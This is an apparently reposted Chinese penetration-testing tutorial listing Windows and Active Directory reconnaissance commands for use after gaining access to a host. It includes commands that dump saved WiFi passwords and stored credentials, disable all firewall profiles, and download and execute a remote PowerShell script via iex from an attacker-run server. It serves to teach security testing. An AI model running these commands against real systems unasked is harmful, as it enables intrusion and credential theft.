Windows信息收集、渗透测试常用命令
2023-6-16 12:49:44 Author: 星冥安全(查看原文) 阅读量:12 收藏

简介

Windows中虽然可视化非常完善,但我们在渗透过程中很多时候只能调用目标命令行,无法使用可视化界面。Windows主机在渗透过程中主要有两大类,一个是工作组模式,一个是域模式,点击查看->工作组和域的区别<-。

通用信息收集命令

通用命令指的是指工作组和域下都通用的命令Windows

Windows命令不同于Linux的添加属性时为中横岗-, Windows命令主要是使用斜杠/,查看大部分Windows命令的帮助信息都是添加/?参数即可。大多数情况下,Windows中的命令行对大小写都是不敏感的。

net: Windows网络相关命令

net user: 查看本地用户列表

net accounts: 查看本地密码策略

net localgroup: 查看当前计算机中所有组

net localgroup administrators: 查看管理员组的信息(哪些用户为管理员)

net statistics workstation: 查看主机开机时间和开机后的网络状态

net session: 列出本地计算机连接的客户端对话信息

net share: 查看本机共享列表和可访问的域共享列表

net use 本地盘符 \\目标IP地址\目标共享名: 这里目标共享名可以通过对目标执行net share查看,这条命令可以将目标盘符挂载到我们本地。

whoami: 查看当前使用的用户信息

whoami /all: 查看更详细的信息

quser和qwinsta: 查看当前所有在线用户和会话

quser 用户名或会话名和qwinsta 用户名或会话名: 查看指定在线用户

PS: 这俩命令效果差不多,一个优先显示用户,一个是优先显示会话

ipconfig: 查看当前计算机网络信息

ipconfig /all: 查看更详细的网络信息

ipconfig /displaydns: 查看DNS缓存信息

systeminfo: 查看计算机系统详细信息(比如:CPU信息,系统具体版本信息,当前安装的补丁,网卡信息等等)

systeminfo.exe | findstr "OS": 查看系统相关信息,(使用findstr进行搜索指定的信息,搜索的时候字母大小写是有区别的)

systeminfo.exe | findstr "KB": 查看补丁列表

wmic: 使用此命令可以查看更多的系统软硬件相关信息。可以直接使用wmic os、wmic cpu等方式查看需要的信息。

wmic service list brief: 当前服务摘要,可以查看当前计算机中有哪些服务,在和我们在任务管理中查看的是一样的。添加list brief后只会显示当前需要信息的一些重要摘要。精简后的信息方便查看。

wmic product get name,version,InstallSource: 当前安装软件的名称、版本、安装位置(如果无法使用wmic,还可以使用Get-WmiObject Win32_Product,查看当前已安装的软件)。如果需要的信息不再摘要中,可以使用get来指定需要显示的信息

wmic qfc: 查看当前系统补丁的相关信息(名称,描述,安装日期,id等)

wmic process: 查看进程信息(可以只查看关键信息wmic process list brief,或者使用tasklist查看进程信息)

wmic startup: 查看启动程序信息(wmic startup list brief)

wmic /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct: 查看安装的杀毒软件

wmic share: 查看本机共享列表和可访问的域共享列表(和上述net share作用相同)

schtasks: 查看计划任务(Windows8之前可以使用at),可以使用schtasks /query /fo list /v(使用列表格式/fo list显示所有计划任务/query的详细信息/v)

cmdkey: 创建,显示和删除保存的凭证信息(用户名和密码)。

cmdkey /l: 查看具体凭证信息

type: 相当于Linux中的cat,用于查看一些文本文件

type C:\Windows\system32\drivers\etc\hosts: 查看hosts文件

netstat: 查看本机各端口状态

netstat /ano: ano是最常用的参数。此参数的含义为将所有的连接(TCP和UDP都有)/a,以数字形式显示地址和端口号/n.并且显示与每个连接关联的进程 ID/o。(使用netstat -ano |findstr "端口号"命令可以查看指定端口信息)

netstat /anob: 如果权限足够,还可以使用参数/b,他可以显示在创建每个连接或侦听端口时涉及的可执行文件。

netsh wlan show profiles: 查看当前保存过的wifi名称,然后在使用netsh wlan show profile name=WIFI名称 key=clear,即可查看WiFi的详细信息以及密码。

netsh firewall set opmode disable: 查看防火墙配置

netsh advfirewall firewall show rule name=all: 查看已配置的防火墙规则

netsh advfirewall set allprofiles state off: 关闭所有防火墙(包括域,专用,公共)此命令需要管理员权限,此命令只能在Windows XP(Windows server 2003)之后的版本执行。老版本系统使用netsh firewall set opmode disable关闭域防火墙。

route: 操作网络路由表。

route print: 查看路由表和地址解析协议(arp)缓存

arp: 显示和修改地址解析协议(ARP)使用的“IP 到物理”地址转换表。

arp /a: 查看地址解析协议缓存(相比于route print,这个命令对地址的分类更加清晰,更方便我们找到内网中其他和目标主机通讯过的主机)

reg query: 查看注册表相关信息

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer: 查看代理信息(全局代理时使用此命令查看)

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL: 查看代理信息(自动代理,比如PAC模式时候使用此命令查看)

回收站内容获取

首先我创建了一个测试文件,并将其删除进入回收站,之后我们就测试查看此文件

FOR /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get name^,sid')do dir /a /b C:\$Recycle.Bin\%d\ ^>%c.txt,首先我们在cmd中执行上述命令。(注意这里必须是cmd,这条命令不支持在powershell中执行!!!)

从中我们可以找到当前用户的SID和一个隐藏文件夹,然后我们移动(cd)到这个目录中

自动化信息收集

自动收集脚本

HIGS.bat:https://github.com/myh0st/scripts/blob/master/Windows%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/HIGS.bat

winPEAS.bat: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/winPEAS/winPEASbat/winPEAS.bat

Powerless.bat: https://github.com/M4ximuss/Powerless

Get-Information.ps1:https://github.com/samratashok/nishang/blob/master/Gather/Get-Information.ps1

使用方法:

本地加载: 直接在本地运行即可,比如说上述HIGS.bat我在本地运行后生成如下文件

远程执行:比如Get-Information.ps1 powershell iex(new-object net.webclient).downloadstring('脚本所在公网地址');Get-Information, 这里公网地址可以使用一个vps运行python -m http.server即可

使用msf自动化收集模块

(metasploit怎么用上,下): 这里我已经渗透进入一台目标主机,进入了sessions

run scraper: 比较全面的系统信息,比如注册表,安装软件,网络环境等信

息。

run winenum: 收集一些当前系统,用户组相关的信息。

如果是root用户,这两个命令收集的信息保存的目录是/root/.msf4/logs/scripts/中,如果不是root用户,则会自动保存进入home/用户名/.msf4/logs/scripts/中

域专用命令

net: Windows网络相关命令

net view /domain: 查询域名(使用net view命令时,要确保域服务器上线,否则会报错6118)

net view /domain:域名查询域中的计算机(或者使用net view /all)

net group /domain: 查询域中所有用户组

net group "domain admins" /domain: 查看那些域管理员组中有哪些用户(net group "enterprise admins" /domain,可以查看域系统管理员用户,enterprise admins权限组权限大于domain admins,是域中权限最大的用户组)

net group "domain users" /domain: 查询域中所有用户(或使用net user /domain)

net group "enterprise admins" /domain: 查看加入域的服务器列表

net config workstation: 查看域信息(当前登录的域)

net user 指定用户名 /domain: 查看指定用户的详细信息

net time /domain: 查看域控当前的时间(可以哟用于查看域控所在的主机地址,用于寻找域控)

net accounts /domain: 当前域密码策略

net localgroup administrators /domain: 查看本机的域管理员(net localgroup administrators命令既可以在域中执行也可以在工作组中执行,而这条命令只能在域中执行)

dsquery: 此工具一般只存在域控中,如果没有目标机器没有此命令,可以自行下载添加。此命令当前只找到Windows server 2012以及之前的版本dsquery下载地址

dsquery computer: 查看当前域中所有机器

dsquery user: 查看当前域中所有账户名

dsquery group: 查看当前域中所有组名

dsquery subnet: 查看当前域所在网段(可以结合nbtscan使用)

dsquery site: 查看域内所有的web站点

dsquery server: 查看当前域中的服务器(一般只能看到自己和域控的)

dsquery user domainroot /name *admin* /limit 240: 查询域内账号名中带admin的前240个结果。

nltest:

nltest /domain_trusts: 查看域信任列表

nltest /dclist:de1ay: 查看当前域控制器的机器名

whoami: 查看当前使用的用户信息

whoami /fqdn: 查看当前域信息

定位域控方法

使用ipconfig: 查看详细的网络信息ipconfig /all中会有DNS服务器信息,而一般这个DNS服务器就是域控所在的位置。

nslookup: 一般address中的目标地址即为域控所在,如果这里显示为::1则代表本机即为域控。

如果权限足够可以使用nslookup -type=all _ldap._tcp.dc._msdcs.域名.com查看域控详细信息。

还可以查看域内邮件服务器(nslookup -q=mx 域名.com)和DNS服务器(nslookup -q=ns 域名.com)

setspn: 可以使用setspn -q */*或setspn -T 域名.com -q */*定位

net group: 使用net group "domain controllers" /domain查看域控名称

转载:https://blog.csdn.net/qq_39611230/article/details/113782525作者:欢迎大家去关注作者

欢迎师傅加入安全交流群(qq群:611901335),或者后台回复加群

如果想和我一起讨论,欢迎加入我的知识星球!!!

扫描下图加入freebuf知识大陆

师傅们点赞、转发、在看就是最大的支持

后台回复知识星球或者知识大陆也可获取加入链接(两个加其一即可)


文章来源: http://mp.weixin.qq.com/s?__biz=MzkxMDMwNDE2OQ==&mid=2247490863&idx=1&sn=c78b6a694feef59744636127f3d9766a&chksm=c12c2be9f65ba2ffe0f93ec472d61b7795354cba974015593ad1c601c06594b6a04b17b17551#rd
如有侵权请联系:admin#unsafe.sh